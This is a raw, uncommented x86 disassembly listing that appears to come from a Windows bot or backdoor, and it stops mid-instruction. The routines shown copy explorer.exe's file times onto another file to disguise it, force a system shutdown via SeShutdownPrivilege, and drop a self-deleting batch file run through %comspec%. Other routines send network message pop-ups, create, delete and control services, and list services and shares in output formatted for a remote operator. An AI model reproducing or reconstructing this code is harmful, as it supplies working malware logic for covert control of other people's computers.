var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB030 test eax, eax jz short loc_418332 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call near ptr 27E0000h nop push ebx mov ebx, dword_427068 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call near ptr 27D07D0h nop push esi call ebx loc_418332: ; CODE XREF: sub_418293+2Aj ; sub_418293+51j ... pop edi pop esi pop ebx leave retn sub_418293 endp ; =============== S U B R O U T I N E ======================================= sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419651 pop ecx pop ecx push 50005h push 6 call dword_4CAEB4 neg eax sbb eax, eax neg eax retn sub_418337 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418359 proc near ; CODE XREF: sub_401ACD+2754p ; ___:0041686Bp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837D cmp dword_4CB044, esi jnz short loc_41837D push esi call sub_401000 pop ecx loc_41837D: ; CODE XREF: sub_418359+13j ; sub_418359+1Bj call sub_40B2BF lea eax, [ebp+var_764] push eax push 400h nop call near ptr 2690000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 26F0809h mov edi, eax cmp edi, esi jbe loc_4184DD lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 26E0000h nop push edi nop call near ptr 2651957h push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B590 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_43D128 mov [ebp+var_2C], 1 mov [ebp+var_28], si call near ptr 2670D31h nop push eax nop call near ptr 2660000h lea eax, [ebp+var_15C] push eax call near ptr 2670C8Fh nop cmp eax, 0FFFFFFFFh jz short loc_418485 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 2670B90h loc_418485: ; CODE XREF: sub_418359+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 27F0000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2651D2Ah loc_4184DD: ; CODE XREF: sub_418359+72j pop edi pop esi leave retn sub_418359 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26C0550h cmp [ebp+var_84], 2 jnz short loc_418577 push [ebp+arg_10] push [ebp+arg_C] call dword_4CAEF4 push edi push eax call dword_4CAF04 test eax, eax jz short loc_418569 push [ebp+arg_10] push offset dword_438984 loc_418542: ; CODE XREF: sub_4184E1+94j lea eax, [ebp+var_294] push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h jmp short loc_4185A1 ; --------------------------------------------------------------------------- loc_418569: ; CODE XREF: sub_4184E1+57j nop call near ptr 2670763h push eax push offset unk_43895C jmp short loc_418542 ; --------------------------------------------------------------------------- loc_418577: ; CODE XREF: sub_4184E1+3Fj lea eax, [ebp+var_294] push offset unk_43892C push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4185A1: ; CODE XREF: sub_4184E1+86j pop edi leave retn sub_4184E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26C0550h cmp [ebp+var_90], 4 jnz short loc_4185FA cmp [ebp+var_8C], 0 jnz short loc_4185E3 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FA leave retn ; --------------------------------------------------------------------------- loc_4185E3: ; CODE XREF: sub_4185A4+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F5 cmp [ebp+var_8C], 5Ah jnz short loc_4185FA loc_4185F5: ; CODE XREF: sub_4185A4+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FA: ; CODE XREF: sub_4185A4+27j ; sub_4185A4+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 2690AC8h mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi call near ptr 26A0000h nop push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41D834 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41D834 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41D834 lea eax, [ebp+var_F8] push eax call sub_41D817 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 2770410h mov eax, edi pop edi pop esi leave retn sub_4185A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418684 proc near ; CODE XREF: sub_40111D+F7p ; ___:0040E6E2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi nop call near ptr 26805CDh push eax call sub_41B8D8 pop ecx call sub_41B8E2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_427700 call sub_41C798 sub esi, eax mov eax, esi pop esi leave retn sub_418684 endp ; =============== S U B R O U T I N E ======================================= sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418719 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_4389A8[esi] push edi push eax call sub_41873B add esp, 14h test eax, eax jnz short loc_418709 push edi push off_4389A4[esi] push offset unk_438AB8 loc_4186F9: ; CODE XREF: sub_4186C1+56j mov esi, offset dword_4DAFF0 push esi call sub_41B886 add esp, 10h jmp short loc_418736 ; --------------------------------------------------------------------------- loc_418709: ; CODE XREF: sub_4186C1+2Aj push eax call sub_4187DD pop ecx push eax push edi push offset unk_438A8C jmp short loc_4186F9 ; --------------------------------------------------------------------------- loc_418719: ; CODE XREF: sub_4186C1+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DAFF0 push off_4389A0[eax*4] push offset unk_438A68 push esi call sub_41B886 add esp, 0Ch loc_418736: ; CODE XREF: sub_4186C1+46j mov eax, esi pop edi pop esi retn sub_4186C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873B proc near ; CODE XREF: sub_4186C1+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CAF68 mov edi, eax cmp edi, ebx jnz short loc_418762 nop call near ptr 2670763h mov ebx, eax jmp short loc_4187D7 ; --------------------------------------------------------------------------- loc_418762: ; CODE XREF: sub_41873B+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CAE50 mov esi, eax cmp esi, ebx jnz short loc_418782 nop call near ptr 2670763h mov ebx, eax jmp short loc_4187CF ; --------------------------------------------------------------------------- loc_418782: ; CODE XREF: sub_41873B+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B5 cmp eax, 3 jz short loc_4187A6 jle short loc_4187C8 cmp eax, 6 jg short loc_4187C8 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CAEBC jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187A6: ; CODE XREF: sub_41873B+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CAE58 jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187B5: ; CODE XREF: sub_41873B+4Dj push esi call dword_4CAEC0 loc_4187BC: ; CODE XREF: sub_41873B+69j ; sub_41873B+78j test eax, eax jnz short loc_4187C8 call near ptr 2670763h nop mov ebx, eax loc_4187C8: ; CODE XREF: sub_41873B+54j ; sub_41873B+59j ... push esi call dword_4CAE6C loc_4187CF: ; CODE XREF: sub_41873B+45j push edi call dword_4CAE6C pop esi loc_4187D7: ; CODE XREF: sub_41873B+25j mov eax, ebx pop edi pop ebx leave retn sub_41873B endp ; =============== S U B R O U T I N E ======================================= sub_4187DD proc near ; CODE XREF: sub_4186C1+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418892 jz loc_41888B add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418855 jz short loc_41884B mov ecx, eax sub ecx, 3 jz short loc_418841 dec ecx dec ecx jz short loc_418837 dec ecx jz short loc_41882D sub ecx, 51h jz short loc_418823 sub ecx, 24h jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418823: ; CODE XREF: sub_4187DD+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41882D: ; CODE XREF: sub_4187DD+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418837: ; CODE XREF: sub_4187DD+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418841: ; CODE XREF: sub_4187DD+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41884B: ; CODE XREF: sub_4187DD+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418855: ; CODE XREF: sub_4187DD+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418884 dec ecx jz short loc_41887D dec ecx jz short loc_418876 dec ecx jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418876: ; CODE XREF: sub_4187DD+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41887D: ; CODE XREF: sub_4187DD+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418884: ; CODE XREF: sub_4187DD+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41888B: ; CODE XREF: sub_4187DD+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418892: ; CODE XREF: sub_4187DD+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F5 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418949[ecx] jmp off_418921[ecx*4] ; switch jump loc_4188B6: ; DATA XREF: ___:off_418921o push offset aTheSpecifiedDa ; jumptable 004188AF case 7 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188BD: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDepe ; jumptable 004188AF case 17 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188C4: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDe_0 ; jumptable 004188AF case 10 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188CB: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasB ; jumptable 004188AF case 0 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D2: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheSpecified_0 ; jumptable 004188AF case 2 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceCoul ; jumptable 004188AF case 11 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E0: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHa_0 ; jumptable 004188AF case 14 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E7: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheRequested_1 ; jumptable 004188AF case 3 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188EE: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasN ; jumptable 004188AF case 4 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188F5: ; CODE XREF: sub_4187DD+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FA: ; CODE XREF: sub_4187DD+41j ; sub_4187DD+4Bj ... push offset dword_4DA930 call sub_41B886 pop ecx pop ecx jmp short loc_41891B ; --------------------------------------------------------------------------- loc_418908: ; CODE XREF: sub_4187DD+36j ; sub_4187DD+89j ... push eax ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DA930 call sub_41B886 add esp, 0Ch loc_41891B: ; CODE XREF: sub_4187DD+129j mov eax, offset dword_4DA930 retn sub_4187DD endp ; --------------------------------------------------------------------------- off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r dd offset loc_4188D2 ; jump table for switch statement dd offset loc_4188E7 dd offset loc_4188EE dd offset loc_4188B6 dd offset loc_4188C4 dd offset loc_4188D9 dd offset loc_4188E0 dd offset loc_4188BD dd offset loc_418908 byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CAF68 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_418993: ; CODE XREF: sub_41895B+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CAF34 test eax, eax jnz short loc_4189CD nop call near ptr 2670763h cmp eax, 0EAh jnz loc_418A81 loc_4189CD: ; CODE XREF: sub_41895B+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418A78 lea esi, [ebp+var_188] loc_4189DE: ; CODE XREF: sub_41895B+117j mov eax, [esi+8] dec eax jz short loc_418A27 dec eax jz short loc_418A20 dec eax jz short loc_418A19 dec eax jz short loc_418A12 dec eax jz short loc_418A0B dec eax jz short loc_418A04 dec eax jz short loc_4189FD push offset aUnknown_0 ; " Unknown" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_4189FD: ; CODE XREF: sub_41895B+99j push offset aPaused_0 ; " Paused" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A04: ; CODE XREF: sub_41895B+96j push offset aPausing ; " Pausing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A0B: ; CODE XREF: sub_41895B+93j push offset aContinuing ; " Continuing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A12: ; CODE XREF: sub_41895B+90j push offset aRunning ; " Running" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A19: ; CODE XREF: sub_41895B+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A20: ; CODE XREF: sub_41895B+8Aj push offset aStarting ; " Starting" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A27: ; CODE XREF: sub_41895B+87j push offset aStopped ; " Stopped" loc_418A2C: ; CODE XREF: sub_41895B+A0j ; sub_41895B+A7j ... lea eax, [ebp+var_20] push eax call sub_41B886 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41B886 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DE loc_418A78: ; CODE XREF: sub_41895B+77j cmp [ebp+var_8], ebx jnz loc_418993 loc_418A81: ; CODE XREF: sub_41895B+6Cj push [ebp+var_C] call dword_4CAE6C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418B32 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC1 dec eax jnz short loc_418B12 push edi push 0 call sub_418C6B pop ecx pop ecx jmp short loc_418B0E ; --------------------------------------------------------------------------- loc_418AC1: ; CODE XREF: sub_418A98+18j cmp [ebp+arg_8], 0 jnz short loc_418B00 push 24h push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_418B00 push 57h pop eax loc_418AD8: ; CODE XREF: sub_418A98+78j push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389A0[eax*4] push offset unk_43904C push esi call sub_41B886 add esp, 14h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B00: ; CODE XREF: sub_418A98+2Dj ; sub_418A98+3Bj push [ebp+arg_8] push edi push 0 call sub_418BBF add esp, 0Ch loc_418B0E: ; CODE XREF: sub_418A98+27j test eax, eax jnz short loc_418AD8 loc_418B12: ; CODE XREF: sub_418A98+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389A4[eax*4] push offset dword_439030 push esi call sub_41B886 add esp, 10h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B32: ; CODE XREF: sub_418A98+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DABEC lea eax, [eax+eax*2] push off_4389A0[eax*4] push offset unk_43900C push esi call sub_41B886 add esp, 0Ch loc_418B52: ; CODE XREF: sub_418A98+66j ; sub_418A98+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A98 endp ; =============== S U B R O U T I N E ======================================= sub_418B58 proc near ; CODE XREF: sub_419E79+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B65 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B65: ; CODE XREF: sub_418B58+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DADEC, 1 mov ebp, eax jnz short loc_418BA2 or byte_4DADEC, 1 lea eax, [ebp+1] push eax call sub_41CFC5 pop ecx mov dword_4DAB8C, eax loc_418BA2: ; CODE XREF: sub_418B58+32j push esi push esi push ebp push dword_4DAB8C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DAB8C pop edi pop ebp pop ebx pop esi retn sub_418B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep ; sub_41A19D+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41BFB0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2A add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CAE68 pop edi leave retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap ; sub_418BBF+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C37 pop ebp retn ; --------------------------------------------------------------------------- loc_418C37: ; CODE XREF: sub_418C2A+9j push ebx push esi mov esi, dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41CFC5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2A endp ; =============== S U B R O U T I N E ======================================= sub_418C6B proc near ; CODE XREF: sub_418A98+20p ; sub_419E79+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push 0 push eax push esi call dword_4CAE40 pop esi retn sub_418C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2A xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_418CC7: ; CODE XREF: sub_418C8E+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CAEB8 mov ebx, eax cmp ebx, esi jz short loc_418D2A cmp ebx, 0EAh jz short loc_418D2A push ebx push ebx call sub_41945F pop ecx push eax lea eax, [ebp+var_210] push offset unk_439098 push eax call sub_41B886 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D2A: ; CODE XREF: sub_418C8E+5Dj ; sub_418C8E+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8E mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D38: ; CODE XREF: sub_418C8E+FCj push dword ptr [esi+10h] call dword_4CAE5C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D4F mov eax, offset aNo ; "No" loc_418D4F: ; CODE XREF: sub_418C8E+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B886 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D38 xor esi, esi loc_418D8E: ; CODE XREF: sub_418C8E+A2j push [ebp+var_4] call dword_4CB004 loc_418D97: ; CODE XREF: sub_418C8E+9Aj cmp ebx, 0EAh jz loc_418CC7 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E54 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF1 dec eax jz short loc_418DE6 dec eax jnz short loc_418E0C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_418EF6 add esp, 14h jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DE6: ; CODE XREF: sub_418DAF+1Dj push ebx push edi call sub_418ED5 pop ecx pop ecx jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DF1: ; CODE XREF: sub_418DAF+1Aj cmp [ebp+arg_8], edi jz short loc_418E05 push [ebp+arg_8] push ebx push edi call sub_418E7B add esp, 0Ch jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418E05: ; CODE XREF: sub_418DAF+45j push 57h pop eax loc_418E08: ; CODE XREF: sub_418DAF+35j ; sub_418DAF+40j ... cmp eax, edi jnz short loc_418E2C loc_418E0C: ; CODE XREF: sub_418DAF+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push off_4389A4[eax*4] push offset unk_439150 push esi call sub_41B886 add esp, 10h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E2C: ; CODE XREF: sub_418DAF+5Bj push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push off_4389A0[eax*4] push offset unk_439120 push esi call sub_41B886 add esp, 14h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E54: ; CODE XREF: sub_418DAF+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DADF0 lea eax, [eax+eax*2] push off_4389A0[eax*4] push offset unk_4390F8 push esi call sub_41B886 add 